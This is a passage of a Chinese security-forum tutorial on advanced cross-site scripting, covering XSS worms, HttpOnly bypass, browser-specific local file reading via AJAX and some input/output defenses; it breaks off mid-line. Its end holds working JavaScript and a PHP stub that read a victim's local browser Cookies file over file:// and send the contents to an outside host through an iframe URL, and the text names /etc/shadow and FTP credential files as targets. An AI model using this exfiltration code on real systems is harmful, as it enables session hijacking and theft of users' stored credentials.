本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
http://www.google.com/search?q=XSS+���� XSS语句大全
http://www.google.com/search?q=XSS+�ƹ� XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
QQ ZONE,校内网XSS 感染过万QQ ZONE.
OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
…
复制代码------------------------------------------介绍-------------------------------------------------------------
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
1 通过XSS,我们能实现什么?
2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
4 XSS漏洞在输出和输入两个方面怎么才能避免.
------------------------------------------研究正题----------------------------------------------------------
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
(I) AJAX在不同的浏览器下的本地文件操作权限:(读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
<? /* Chrome 1.0.154.53 use ajax read local txt file and upload exp www.inbreak.net author voidloafer@gmail.com 2009-4-22 http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. */ header("Content-Disposition: attachment;filename=kxlzx.htm"); header("Content-type: application/kxlzx"); /* set header, so just download html file,and open it at local. */ ?> <input id="input" name="cookie" value="" type="hidden">
复制代码opera 9.52使用ajax读取本地COOKIES文件
var xmlHttp;
function createXMLHttp(){
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else if(window.ActiveXObject){
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
function startRequest(doUrl){
createXMLHttp();
xmlHttp.onreadystatechange = handleStateChange;
xmlHttp.open("GET", doUrl, true);
xmlHttp.send(null);
}
function handleStateChange(){
if (xmlHttp.readyState == 4 ){
var strResponse = "";
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
}
}
function doMyAjax(user,file)
{
var time = Math.random();
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
startRequest(strPer);
}
function framekxlzxPost(text)
{
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
alert(/ok/);
}
doMyAjax(‘ad